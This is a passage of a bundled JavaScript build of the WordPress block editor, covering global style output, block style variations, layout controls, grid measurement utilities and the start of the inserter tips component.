31405 const needsSeparatorStyleUpdate = config.styles?.blocks?.["core/separator"] && config.styles?.blocks?.["core/separator"].color?.background && !config.styles?.blocks?.["core/separator"].color?.text && !config.styles?.blocks?.["core/separator"].border?.color;
31406 if (needsSeparatorStyleUpdate) {
31407 return {
31408 ...config,
31409 styles: {
31410 ...config.styles,
31411 blocks: {
31412 ...config.styles.blocks,
31413 "core/separator": {
31414 ...config.styles.blocks["core/separator"],
31415 color: {
31416 ...config.styles.blocks["core/separator"].color,
31417 text: config.styles?.blocks["core/separator"].color.background
31418 }
31419 }
31420 }
31421 }
31422 };
31423 }
31424 return config;
31425}
31426function processCSSNesting(css, blockSelector) {
31427 let processedCSS = "";
31428 if (!css || css.trim() === "") {
31429 return processedCSS;
31430 }
31431 const parts = css.split("&");
31432 parts.forEach((part) => {
31433 if (!part || part.trim() === "") {
31434 return;
31435 }
31436 const isRootCss = !part.includes("{");
31437 if (isRootCss) {
31438 processedCSS += `:root :where(${blockSelector}){${part.trim()}}`;
31439 } else {
31440 const splitPart = part.replace("}", "").split("{");
31441 if (splitPart.length !== 2) {
31442 return;
31443 }
31444 const [nestedSelector, cssValue] = splitPart;
31445 const matches = nestedSelector.match(/([>+~\s]*::[a-zA-Z-]+)/);
31446 const pseudoPart = matches ? matches[1] : "";
31447 const withoutPseudoElement = matches ? nestedSelector.replace(pseudoPart, "").trim() : nestedSelector.trim();
31448 let combinedSelector;
31449 if (withoutPseudoElement === "") {
31450 combinedSelector = blockSelector;
31451 } else {
31452 combinedSelector = nestedSelector.startsWith(" ") ? scopeSelector(blockSelector, withoutPseudoElement) : appendToSelector(blockSelector, withoutPseudoElement);
31453 }
31454 processedCSS += `:root :where(${combinedSelector})${pseudoPart}{${cssValue.trim()}}`;
31455 }
31456 });
31457 return processedCSS;
31458}
31459function useGlobalStylesOutputWithConfig(mergedConfig = {}, disableRootPadding) {
31460 const [blockGap] = useGlobalSetting("spacing.blockGap");
31461 const hasBlockGapSupport = blockGap !== null;
31462 const hasFallbackGapSupport = !hasBlockGapSupport;
31463 const disableLayoutStyles = (0,external_wp_data_namespaceObject.useSelect)((select) => {
31464 const { getSettings } = select(store);
31465 return !!getSettings().disableLayoutStyles;
31466 });
31467 const { getBlockStyles } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
31468 return (0,external_wp_element_namespaceObject.useMemo)(() => {
31469 if (!mergedConfig?.styles || !mergedConfig?.settings) {
31470 return [];
31471 }
31472 const updatedConfig = updateConfigWithSeparator(mergedConfig);
31473 const blockSelectors = getBlockSelectors(
31474 (0,external_wp_blocks_namespaceObject.getBlockTypes)(),
31475 getBlockStyles
31476 );
31477 const customProperties = toCustomProperties(
31478 updatedConfig,
31479 blockSelectors
31480 );
31481 const globalStyles = toStyles(
31482 updatedConfig,
31483 blockSelectors,
31484 hasBlockGapSupport,
31485 hasFallbackGapSupport,
31486 disableLayoutStyles,
31487 disableRootPadding
31488 );
31489 const svgs = toSvgFilters(updatedConfig, blockSelectors);
31490 const styles = [
31491 {
31492 css: customProperties,
31493 isGlobalStyles: true
31494 },
31495 {
31496 css: globalStyles,
31497 isGlobalStyles: true
31498 },
31499 // Load custom CSS in own stylesheet so that any invalid CSS entered in the input won't break all the global styles in the editor.
31500 {
31501 css: updatedConfig.styles.css ?? "",
31502 isGlobalStyles: true
31503 },
31504 {
31505 assets: svgs,
31506 __unstableType: "svg",
31507 isGlobalStyles: true
31508 }
31509 ];
31510 (0,external_wp_blocks_namespaceObject.getBlockTypes)().forEach((blockType) => {
31511 if (updatedConfig.styles.blocks[blockType.name]?.css) {
31512 const selector = blockSelectors[blockType.name].selector;
31513 styles.push({
31514 css: processCSSNesting(
31515 updatedConfig.styles.blocks[blockType.name]?.css,
31516 selector
31517 ),
31518 isGlobalStyles: true
31519 });
31520 }
31521 });
31522 return [styles, updatedConfig.settings];
31523 }, [
31524 hasBlockGapSupport,
31525 hasFallbackGapSupport,
31526 mergedConfig,
31527 disableLayoutStyles,
31528 disableRootPadding,
31529 getBlockStyles
31530 ]);
31531}
31532function useGlobalStylesOutput(disableRootPadding = false) {
31533 const { merged: mergedConfig } = (0,external_wp_element_namespaceObject.useContext)(GlobalStylesContext);
31534 return useGlobalStylesOutputWithConfig(mergedConfig, disableRootPadding);
31535}
31536
31537
31538;// ./node_modules/@wordpress/block-editor/build-module/hooks/block-style-variation.js
31539
31540
31541
31542
31543
31544
31545
31546
31547
31548
31549const VARIATION_PREFIX = "is-style-";
31550function getVariationMatches(className) {
31551 if (!className) {
31552 return [];
31553 }
31554 return className.split(/\s+/).reduce((matches, name) => {
31555 if (name.startsWith(VARIATION_PREFIX)) {
31556 const match = name.slice(VARIATION_PREFIX.length);
31557 if (match !== "default") {
31558 matches.push(match);
31559 }
31560 }
31561 return matches;
31562 }, []);
31563}
31564function getVariationNameFromClass(className, registeredStyles = []) {
31565 const matches = getVariationMatches(className);
31566 if (!matches) {
31567 return null;
31568 }
31569 for (const variation of matches) {
31570 if (registeredStyles.some((style) => style.name === variation)) {
31571 return variation;
31572 }
31573 }
31574 return null;
31575}
31576function OverrideStyles({ override }) {
31577 usePrivateStyleOverride(override);
31578}
31579function __unstableBlockStyleVariationOverridesWithConfig({ config }) {
31580 const { getBlockStyles, overrides } = (0,external_wp_data_namespaceObject.useSelect)(
31581 (select) => ({
31582 getBlockStyles: select(external_wp_blocks_namespaceObject.store).getBlockStyles,
31583 overrides: unlock(select(store)).getStyleOverrides()
31584 }),
31585 []
31586 );
31587 const { getBlockName } = (0,external_wp_data_namespaceObject.useSelect)(store);
31588 const overridesWithConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
31589 if (!overrides?.length) {
31590 return;
31591 }
31592 const newOverrides = [];
31593 const overriddenClientIds = [];
31594 for (const [, override] of overrides) {
31595 if (override?.variation && override?.clientId && /*
31596 * Because this component overwrites existing style overrides,
31597 * filter out any overrides that are already present in the store.
31598 */
31599 !overriddenClientIds.includes(override.clientId)) {
31600 const blockName = getBlockName(override.clientId);
31601 const configStyles = config?.styles?.blocks?.[blockName]?.variations?.[override.variation];
31602 if (configStyles) {
31603 const variationConfig = {
31604 settings: config?.settings,
31605 // The variation style data is all that is needed to generate
31606 // the styles for the current application to a block. The variation
31607 // name is updated to match the instance specific class name.
31608 styles: {
31609 blocks: {
31610 [blockName]: {
31611 variations: {
31612 [`${override.variation}-${override.clientId}`]: configStyles
31613 }
31614 }
31615 }
31616 }
31617 };
31618 const blockSelectors = getBlockSelectors(
31619 (0,external_wp_blocks_namespaceObject.getBlockTypes)(),
31620 getBlockStyles,
31621 override.clientId
31622 );
31623 const hasBlockGapSupport = false;
31624 const hasFallbackGapSupport = true;
31625 const disableLayoutStyles = true;
31626 const disableRootPadding = true;
31627 const variationStyles = toStyles(
31628 variationConfig,
31629 blockSelectors,
31630 hasBlockGapSupport,
31631 hasFallbackGapSupport,
31632 disableLayoutStyles,
31633 disableRootPadding,
31634 {
31635 blockGap: false,
31636 blockStyles: true,
31637 layoutStyles: false,
31638 marginReset: false,
31639 presets: false,
31640 rootPadding: false,
31641 variationStyles: true
31642 }
31643 );
31644 newOverrides.push({
31645 id: `${override.variation}-${override.clientId}`,
31646 css: variationStyles,
31647 __unstableType: "variation",
31648 variation: override.variation,
31649 // The clientId will be stored with the override and used to ensure
31650 // the order of overrides matches the order of blocks so that the
31651 // correct CSS cascade is maintained.
31652 clientId: override.clientId
31653 });
31654 overriddenClientIds.push(override.clientId);
31655 }
31656 }
31657 }
31658 return newOverrides;
31659 }, [config, overrides, getBlockStyles, getBlockName]);
31660 if (!overridesWithConfig || !overridesWithConfig.length) {
31661 return;
31662 }
31663 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: overridesWithConfig.map((override) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OverrideStyles, { override }, override.id)) });
31664}
31665function getVariationStylesWithRefValues(globalStyles, name, variation) {
31666 if (!globalStyles?.styles?.blocks?.[name]?.variations?.[variation]) {
31667 return;
31668 }
31669 const replaceRefs = (variationStyles) => {
31670 Object.keys(variationStyles).forEach((key) => {
31671 const value = variationStyles[key];
31672 if (typeof value === "object" && value !== null) {
31673 if (value.ref !== void 0) {
31674 if (typeof value.ref !== "string" || value.ref.trim() === "") {
31675 delete variationStyles[key];
31676 } else {
31677 const refValue = getValueFromObjectPath(
31678 globalStyles,
31679 value.ref
31680 );
31681 if (refValue) {
31682 variationStyles[key] = refValue;
31683 } else {
31684 delete variationStyles[key];
31685 }
31686 }
31687 } else {
31688 replaceRefs(value);
31689 if (Object.keys(value).length === 0) {
31690 delete variationStyles[key];
31691 }
31692 }
31693 }
31694 });
31695 };
31696 const styles = JSON.parse(
31697 JSON.stringify(
31698 globalStyles.styles.blocks[name].variations[variation]
31699 )
31700 );
31701 replaceRefs(styles);
31702 return styles;
31703}
31704function useBlockStyleVariation(name, variation, clientId) {
31705 const { merged: mergedConfig } = (0,external_wp_element_namespaceObject.useContext)(GlobalStylesContext);
31706 const { globalSettings, globalStyles } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
31707 const settings = select(store).getSettings();
31708 return {
31709 globalSettings: settings.__experimentalFeatures,
31710 globalStyles: settings[globalStylesDataKey]
31711 };
31712 }, []);
31713 return (0,external_wp_element_namespaceObject.useMemo)(() => {
31714 const variationStyles = getVariationStylesWithRefValues(
31715 {
31716 settings: mergedConfig?.settings ?? globalSettings,
31717 styles: mergedConfig?.styles ?? globalStyles
31718 },
31719 name,
31720 variation
31721 );
31722 return {
31723 settings: mergedConfig?.settings ?? globalSettings,
31724 // The variation style data is all that is needed to generate
31725 // the styles for the current application to a block. The variation
31726 // name is updated to match the instance specific class name.
31727 styles: {
31728 blocks: {
31729 [name]: {
31730 variations: {
31731 [`${variation}-${clientId}`]: variationStyles
31732 }
31733 }
31734 }
31735 }
31736 };
31737 }, [
31738 mergedConfig,
31739 globalSettings,
31740 globalStyles,
31741 variation,
31742 clientId,
31743 name
31744 ]);
31745}
31746function block_style_variation_useBlockProps({ name, className, clientId }) {
31747 const { getBlockStyles } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
31748 const registeredStyles = getBlockStyles(name);
31749 const variation = getVariationNameFromClass(className, registeredStyles);
31750 const variationClass = `${VARIATION_PREFIX}${variation}-${clientId}`;
31751 const { settings, styles } = useBlockStyleVariation(
31752 name,
31753 variation,
31754 clientId
31755 );
31756 const variationStyles = (0,external_wp_element_namespaceObject.useMemo)(() => {
31757 if (!variation) {
31758 return;
31759 }
31760 const variationConfig = { settings, styles };
31761 const blockSelectors = getBlockSelectors(
31762 (0,external_wp_blocks_namespaceObject.getBlockTypes)(),
31763 getBlockStyles,
31764 clientId
31765 );
31766 const hasBlockGapSupport = false;
31767 const hasFallbackGapSupport = true;
31768 const disableLayoutStyles = true;
31769 const disableRootPadding = true;
31770 return toStyles(
31771 variationConfig,
31772 blockSelectors,
31773 hasBlockGapSupport,
31774 hasFallbackGapSupport,
31775 disableLayoutStyles,
31776 disableRootPadding,
31777 {
31778 blockGap: false,
31779 blockStyles: true,
31780 layoutStyles: false,
31781 marginReset: false,
31782 presets: false,
31783 rootPadding: false,
31784 variationStyles: true
31785 }
31786 );
31787 }, [variation, settings, styles, getBlockStyles, clientId]);
31788 usePrivateStyleOverride({
31789 id: `variation-${clientId}`,
31790 css: variationStyles,
31791 __unstableType: "variation",
31792 variation,
31793 // The clientId will be stored with the override and used to ensure
31794 // the order of overrides matches the order of blocks so that the
31795 // correct CSS cascade is maintained.
31796 clientId
31797 });
31798 return variation ? { className: variationClass } : {};
31799}
31800var block_style_variation_default = {
31801 hasSupport: () => true,
31802 attributeKeys: ["className"],
31803 isMatch: ({ className }) => getVariationMatches(className).length > 0,
31804 useBlockProps: block_style_variation_useBlockProps
31805};
31806
31807
31808;// ./node_modules/@wordpress/block-editor/build-module/hooks/layout.js
31809
31810
31811
31812
31813
31814
31815
31816
31817
31818
31819
31820
31821
31822
31823
31824
31825const layoutBlockSupportKey = "layout";
31826const { kebabCase: layout_kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
31827function hasLayoutBlockSupport(blockName) {
31828 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockName, "layout") || (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockName, "__experimentalLayout");
31829}
31830function useLayoutClasses(blockAttributes = {}, blockName = "") {
31831 const { layout } = blockAttributes;
31832 const { default: defaultBlockLayout } = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockName, layoutBlockSupportKey) || {};
31833 const usedLayout = layout?.inherit || layout?.contentSize || layout?.wideSize ? { ...layout, type: "constrained" } : layout || defaultBlockLayout || {};
31834 const layoutClassnames = [];
31835 if (LAYOUT_DEFINITIONS[usedLayout?.type || "default"]?.className) {
31836 const baseClassName = LAYOUT_DEFINITIONS[usedLayout?.type || "default"]?.className;
31837 const splitBlockName = blockName.split("/");
31838 const fullBlockName = splitBlockName[0] === "core" ? splitBlockName.pop() : splitBlockName.join("-");
31839 const compoundClassName = `wp-block-${fullBlockName}-${baseClassName}`;
31840 layoutClassnames.push(baseClassName, compoundClassName);
31841 }
31842 const hasGlobalPadding = (0,external_wp_data_namespaceObject.useSelect)(
31843 (select) => {
31844 return (usedLayout?.inherit || usedLayout?.contentSize || usedLayout?.type === "constrained") && select(store).getSettings().__experimentalFeatures?.useRootPaddingAwareAlignments;
31845 },
31846 [usedLayout?.contentSize, usedLayout?.inherit, usedLayout?.type]
31847 );
31848 if (hasGlobalPadding) {
31849 layoutClassnames.push("has-global-padding");
31850 }
31851 if (usedLayout?.orientation) {
31852 layoutClassnames.push(`is-${layout_kebabCase(usedLayout.orientation)}`);
31853 }
31854 if (usedLayout?.justifyContent) {
31855 layoutClassnames.push(
31856 `is-content-justification-${layout_kebabCase(
31857 usedLayout.justifyContent
31858 )}`
31859 );
31860 }
31861 if (usedLayout?.flexWrap && usedLayout.flexWrap === "nowrap") {
31862 layoutClassnames.push("is-nowrap");
31863 }
31864 return layoutClassnames;
31865}
31866function useLayoutStyles(blockAttributes = {}, blockName, selector) {
31867 const { layout = {}, style = {} } = blockAttributes;
31868 const usedLayout = layout?.inherit || layout?.contentSize || layout?.wideSize ? { ...layout, type: "constrained" } : layout || {};
31869 const fullLayoutType = getLayoutType(usedLayout?.type || "default");
31870 const [blockGapSupport] = use_settings_useSettings("spacing.blockGap");
31871 const hasBlockGapSupport = blockGapSupport !== null;
31872 return fullLayoutType?.getLayoutStyle?.({
31873 blockName,
31874 selector,
31875 layout,
31876 style,
31877 hasBlockGapSupport
31878 });
31879}
31880function LayoutPanelPure({
31881 layout,
31882 setAttributes,
31883 name: blockName,
31884 clientId
31885}) {
31886 const settings = useBlockSettings(blockName);
31887 const { layout: layoutSettings } = settings;
31888 const { themeSupportsLayout } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
31889 const { getSettings } = select(store);
31890 return {
31891 themeSupportsLayout: getSettings().supportsLayout
31892 };
31893 }, []);
31894 const blockEditingMode = useBlockEditingMode();
31895 if (blockEditingMode !== "default") {
31896 return null;
31897 }
31898 const layoutBlockSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(
31899 blockName,
31900 layoutBlockSupportKey,
31901 {}
31902 );
31903 const blockSupportAndThemeSettings = {
31904 ...layoutSettings,
31905 ...layoutBlockSupport
31906 };
31907 const {
31908 allowSwitching,
31909 allowEditing = true,
31910 allowInheriting = true,
31911 default: defaultBlockLayout
31912 } = blockSupportAndThemeSettings;
31913 if (!allowEditing) {
31914 return null;
31915 }
31916 const blockSupportAndLayout = {
31917 ...layoutBlockSupport,
31918 ...layout
31919 };
31920 const { type, default: { type: defaultType = "default" } = {} } = blockSupportAndLayout;
31921 const blockLayoutType = type || defaultType;
31922 const showInheritToggle = !!(allowInheriting && (!blockLayoutType || blockLayoutType === "default" || blockLayoutType === "constrained" || blockSupportAndLayout.inherit));
31923 const usedLayout = layout || defaultBlockLayout || {};
31924 const { inherit = false, contentSize = null } = usedLayout;
31925 if ((blockLayoutType === "default" || blockLayoutType === "constrained") && !themeSupportsLayout) {
31926 return null;
31927 }
31928 const layoutType = getLayoutType(blockLayoutType);
31929 const constrainedType = getLayoutType("constrained");
31930 const displayControlsForLegacyLayouts = !usedLayout.type && (contentSize || inherit);
31931 const hasContentSizeOrLegacySettings = !!inherit || !!contentSize;
31932 const onChangeType = (newType) => setAttributes({ layout: { type: newType } });
31933 const onChangeLayout = (newLayout) => setAttributes({ layout: newLayout });
31934 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
31935 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Layout"), children: [
31936 showInheritToggle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31937 external_wp_components_namespaceObject.ToggleControl,
31938 {
31939 __nextHasNoMarginBottom: true,
31940 label: (0,external_wp_i18n_namespaceObject.__)("Inner blocks use content width"),
31941 checked: layoutType?.name === "constrained" || hasContentSizeOrLegacySettings,
31942 onChange: () => setAttributes({
31943 layout: {
31944 type: layoutType?.name === "constrained" || hasContentSizeOrLegacySettings ? "default" : "constrained"
31945 }
31946 }),
31947 help: layoutType?.name === "constrained" || hasContentSizeOrLegacySettings ? (0,external_wp_i18n_namespaceObject.__)(
31948 "Nested blocks use content width with options for full and wide widths."
31949 ) : (0,external_wp_i18n_namespaceObject.__)(
31950 "Nested blocks will fill the width of this container."
31951 )
31952 }
31953 ) }),
31954 !inherit && allowSwitching && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31955 LayoutTypeSwitcher,
31956 {
31957 type: blockLayoutType,
31958 onChange: onChangeType
31959 }
31960 ),
31961 layoutType && layoutType.name !== "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31962 layoutType.inspectorControls,
31963 {
31964 layout: usedLayout,
31965 onChange: onChangeLayout,
31966 layoutBlockSupport: blockSupportAndThemeSettings,
31967 name: blockName,
31968 clientId
31969 }
31970 ),
31971 constrainedType && displayControlsForLegacyLayouts && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31972 constrainedType.inspectorControls,
31973 {
31974 layout: usedLayout,
31975 onChange: onChangeLayout,
31976 layoutBlockSupport: blockSupportAndThemeSettings,
31977 name: blockName,
31978 clientId
31979 }
31980 )
31981 ] }) }),
31982 !inherit && layoutType && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31983 layoutType.toolBarControls,
31984 {
31985 layout: usedLayout,
31986 onChange: onChangeLayout,
31987 layoutBlockSupport,
31988 name: blockName,
31989 clientId
31990 }
31991 )
31992 ] });
31993}
31994var layout_default = {
31995 shareWithChildBlocks: true,
31996 edit: LayoutPanelPure,
31997 attributeKeys: ["layout"],
31998 hasSupport(name) {
31999 return hasLayoutBlockSupport(name);
32000 }
32001};
32002function LayoutTypeSwitcher({ type, onChange }) {
32003 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32004 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
32005 {
32006 __next40pxDefaultSize: true,
32007 isBlock: true,
32008 label: (0,external_wp_i18n_namespaceObject.__)("Layout type"),
32009 __nextHasNoMarginBottom: true,
32010 hideLabelFromVision: true,
32011 isAdaptiveWidth: true,
32012 value: type,
32013 onChange,
32014 children: getLayoutTypes().map(({ name, label }) => {
32015 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32016 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
32017 {
32018 value: name,
32019 label
32020 },
32021 name
32022 );
32023 })
32024 }
32025 );
32026}
32027function layout_addAttribute(settings) {
32028 if ("type" in (settings.attributes?.layout ?? {})) {
32029 return settings;
32030 }
32031 if (hasLayoutBlockSupport(settings)) {
32032 settings.attributes = {
32033 ...settings.attributes,
32034 layout: {
32035 type: "object"
32036 }
32037 };
32038 }
32039 return settings;
32040}
32041function BlockWithLayoutStyles({
32042 block: BlockListBlock,
32043 props,
32044 blockGapSupport,
32045 layoutClasses
32046}) {
32047 const { name, attributes } = props;
32048 const id = (0,external_wp_compose_namespaceObject.useInstanceId)(BlockListBlock);
32049 const { layout } = attributes;
32050 const { default: defaultBlockLayout } = (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, layoutBlockSupportKey) || {};
32051 const usedLayout = layout?.inherit || layout?.contentSize || layout?.wideSize ? { ...layout, type: "constrained" } : layout || defaultBlockLayout || {};
32052 const selectorPrefix = `wp-container-${layout_kebabCase(name)}-is-layout-`;
32053 const selector = `.${selectorPrefix}${id}`;
32054 const hasBlockGapSupport = blockGapSupport !== null;
32055 const fullLayoutType = getLayoutType(usedLayout?.type || "default");
32056 const css = fullLayoutType?.getLayoutStyle?.({
32057 blockName: name,
32058 selector,
32059 layout: usedLayout,
32060 style: attributes?.style,
32061 hasBlockGapSupport
32062 });
32063 const layoutClassNames = dist_clsx(
32064 {
32065 [`${selectorPrefix}${id}`]: !!css
32066 // Only attach a container class if there is generated CSS to be attached.
32067 },
32068 layoutClasses
32069 );
32070 useStyleOverride({ css });
32071 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32072 BlockListBlock,
32073 {
32074 ...props,
32075 __unstableLayoutClassNames: layoutClassNames
32076 }
32077 );
32078}
32079const withLayoutStyles = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
32080 (BlockListBlock) => (props) => {
32081 const { clientId, name, attributes } = props;
32082 const blockSupportsLayout = hasLayoutBlockSupport(name);
32083 const layoutClasses = useLayoutClasses(attributes, name);
32084 const extraProps = (0,external_wp_data_namespaceObject.useSelect)(
32085 (select) => {
32086 if (!blockSupportsLayout) {
32087 return;
32088 }
32089 const { getSettings, getBlockSettings } = unlock(
32090 select(store)
32091 );
32092 const { disableLayoutStyles } = getSettings();
32093 if (disableLayoutStyles) {
32094 return;
32095 }
32096 const [blockGapSupport] = getBlockSettings(
32097 clientId,
32098 "spacing.blockGap"
32099 );
32100 return { blockGapSupport };
32101 },
32102 [blockSupportsLayout, clientId]
32103 );
32104 if (!extraProps) {
32105 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32106 BlockListBlock,
32107 {
32108 ...props,
32109 __unstableLayoutClassNames: blockSupportsLayout ? layoutClasses : void 0
32110 }
32111 );
32112 }
32113 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32114 BlockWithLayoutStyles,
32115 {
32116 block: BlockListBlock,
32117 props,
32118 layoutClasses,
32119 ...extraProps
32120 }
32121 );
32122 },
32123 "withLayoutStyles"
32124);
32125(0,external_wp_hooks_namespaceObject.addFilter)(
32126 "blocks.registerBlockType",
32127 "core/layout/addAttribute",
32128 layout_addAttribute
32129);
32130(0,external_wp_hooks_namespaceObject.addFilter)(
32131 "editor.BlockListBlock",
32132 "core/editor/layout/with-layout-styles",
32133 withLayoutStyles
32134);
32135
32136
32137;// ./node_modules/@wordpress/block-editor/build-module/components/grid/utils.js
32138function range(start, length) {
32139 return Array.from({ length }, (_, i) => start + i);
32140}
32141class GridRect {
32142 constructor({
32143 columnStart,
32144 rowStart,
32145 columnEnd,
32146 rowEnd,
32147 columnSpan,
32148 rowSpan
32149 } = {}) {
32150 this.columnStart = columnStart ?? 1;
32151 this.rowStart = rowStart ?? 1;
32152 if (columnSpan !== void 0) {
32153 this.columnEnd = this.columnStart + columnSpan - 1;
32154 } else {
32155 this.columnEnd = columnEnd ?? this.columnStart;
32156 }
32157 if (rowSpan !== void 0) {
32158 this.rowEnd = this.rowStart + rowSpan - 1;
32159 } else {
32160 this.rowEnd = rowEnd ?? this.rowStart;
32161 }
32162 }
32163 get columnSpan() {
32164 return this.columnEnd - this.columnStart + 1;
32165 }
32166 get rowSpan() {
32167 return this.rowEnd - this.rowStart + 1;
32168 }
32169 contains(column, row) {
32170 return column >= this.columnStart && column <= this.columnEnd && row >= this.rowStart && row <= this.rowEnd;
32171 }
32172 containsRect(rect) {
32173 return this.contains(rect.columnStart, rect.rowStart) && this.contains(rect.columnEnd, rect.rowEnd);
32174 }
32175 intersectsRect(rect) {
32176 return this.columnStart <= rect.columnEnd && this.columnEnd >= rect.columnStart && this.rowStart <= rect.rowEnd && this.rowEnd >= rect.rowStart;
32177 }
32178}
32179function utils_getComputedCSS(element, property) {
32180 return element.ownerDocument.defaultView.getComputedStyle(element).getPropertyValue(property);
32181}
32182function getGridTracks(template, gap) {
32183 const tracks = [];
32184 for (const size of template.split(" ")) {
32185 const previousTrack = tracks[tracks.length - 1];
32186 const start = previousTrack ? previousTrack.end + gap : 0;
32187 const end = start + parseFloat(size);
32188 tracks.push({ start, end });
32189 }
32190 return tracks;
32191}
32192function getClosestTrack(tracks, position, edge = "start") {
32193 return tracks.reduce(
32194 (closest, track, index) => Math.abs(track[edge] - position) < Math.abs(tracks[closest][edge] - position) ? index : closest,
32195 0
32196 );
32197}
32198function getGridRect(gridElement, rect) {
32199 const columnGap = parseFloat(utils_getComputedCSS(gridElement, "column-gap"));
32200 const rowGap = parseFloat(utils_getComputedCSS(gridElement, "row-gap"));
32201 const gridColumnTracks = getGridTracks(
32202 utils_getComputedCSS(gridElement, "grid-template-columns"),
32203 columnGap
32204 );
32205 const gridRowTracks = getGridTracks(
32206 utils_getComputedCSS(gridElement, "grid-template-rows"),
32207 rowGap
32208 );
32209 const columnStart = getClosestTrack(gridColumnTracks, rect.left) + 1;
32210 const rowStart = getClosestTrack(gridRowTracks, rect.top) + 1;
32211 const columnEnd = getClosestTrack(gridColumnTracks, rect.right, "end") + 1;
32212 const rowEnd = getClosestTrack(gridRowTracks, rect.bottom, "end") + 1;
32213 return new GridRect({
32214 columnStart,
32215 columnEnd,
32216 rowStart,
32217 rowEnd
32218 });
32219}
32220function getGridItemRect(gridItemElement) {
32221 return getGridRect(
32222 gridItemElement.parentElement,
32223 new window.DOMRect(
32224 gridItemElement.offsetLeft,
32225 gridItemElement.offsetTop,
32226 gridItemElement.offsetWidth,
32227 gridItemElement.offsetHeight
32228 )
32229 );
32230}
32231function getGridInfo(gridElement) {
32232 const gridTemplateColumns = utils_getComputedCSS(
32233 gridElement,
32234 "grid-template-columns"
32235 );
32236 const gridTemplateRows = utils_getComputedCSS(
32237 gridElement,
32238 "grid-template-rows"
32239 );
32240 const borderTopWidth = utils_getComputedCSS(gridElement, "border-top-width");
32241 const borderRightWidth = utils_getComputedCSS(
32242 gridElement,
32243 "border-right-width"
32244 );
32245 const borderBottomWidth = utils_getComputedCSS(
32246 gridElement,
32247 "border-bottom-width"
32248 );
32249 const borderLeftWidth = utils_getComputedCSS(gridElement, "border-left-width");
32250 const paddingTop = utils_getComputedCSS(gridElement, "padding-top");
32251 const paddingRight = utils_getComputedCSS(gridElement, "padding-right");
32252 const paddingBottom = utils_getComputedCSS(gridElement, "padding-bottom");
32253 const paddingLeft = utils_getComputedCSS(gridElement, "padding-left");
32254 const numColumns = gridTemplateColumns.split(" ").length;
32255 const numRows = gridTemplateRows.split(" ").length;
32256 const numItems = numColumns * numRows;
32257 return {
32258 numColumns,
32259 numRows,
32260 numItems,
32261 currentColor: utils_getComputedCSS(gridElement, "color"),
32262 style: {
32263 gridTemplateColumns,
32264 gridTemplateRows,
32265 gap: utils_getComputedCSS(gridElement, "gap"),
32266 inset: `
32267 calc(${paddingTop} + ${borderTopWidth})
32268 calc(${paddingRight} + ${borderRightWidth})
32269 calc(${paddingBottom} + ${borderBottomWidth})
32270 calc(${paddingLeft} + ${borderLeftWidth})
32271 `
32272 }
32273 };
32274}
32275
32276
32277;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/tips.js
32278
32279
32280
32281
32282const globalTips = [
32283 (0,external_wp_element_namespaceObject.createInterpolateElement)(
32284 (0,external_wp_i18n_namespaceObject.__)(
32285 "While writing, you can press <kbd>/</kbd> to quickly insert new blocks."
32286 ),
32287 { kbd: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("kbd", {}) }
32288 ),
32289 (0,external_wp_element_namespaceObject.createInterpolateElement)(
32290 (0,external_wp_i18n_namespaceObject.__)(
32291 "Indent a list by pressing <kbd>space</kbd> at the beginning of a line."
32292 ),
32293 { kbd: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("kbd", {}) }
32294 ),
32295 (0,external_wp_element_namespaceObject.createInterpolateElement)(
32296 (0,external_wp_i18n_namespaceObject.__)(
32297 "Outdent a list by pressing <kbd>backspace</kbd> at the beginning of a line."
32298 ),
32299 { kbd: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("kbd", {}) }
32300 ),
32301 (0,external_wp_i18n_namespaceObject.__)("Drag files into the editor to automatically insert media blocks."),
32302 (0,external_wp_i18n_namespaceObject.__)("Change a block's type by pressing the block icon on the toolbar.")
32303];
32304function Tips() {
32305 const [randomIndex] = (0,external_wp_element_namespaceObject.useState)(
32306 // Disable Reason: I'm not generating an HTML id.
32307 // eslint-disable-next-line no-restricted-syntax
32308 Math.floor(Math.random() * globalTips.length)
32309 );
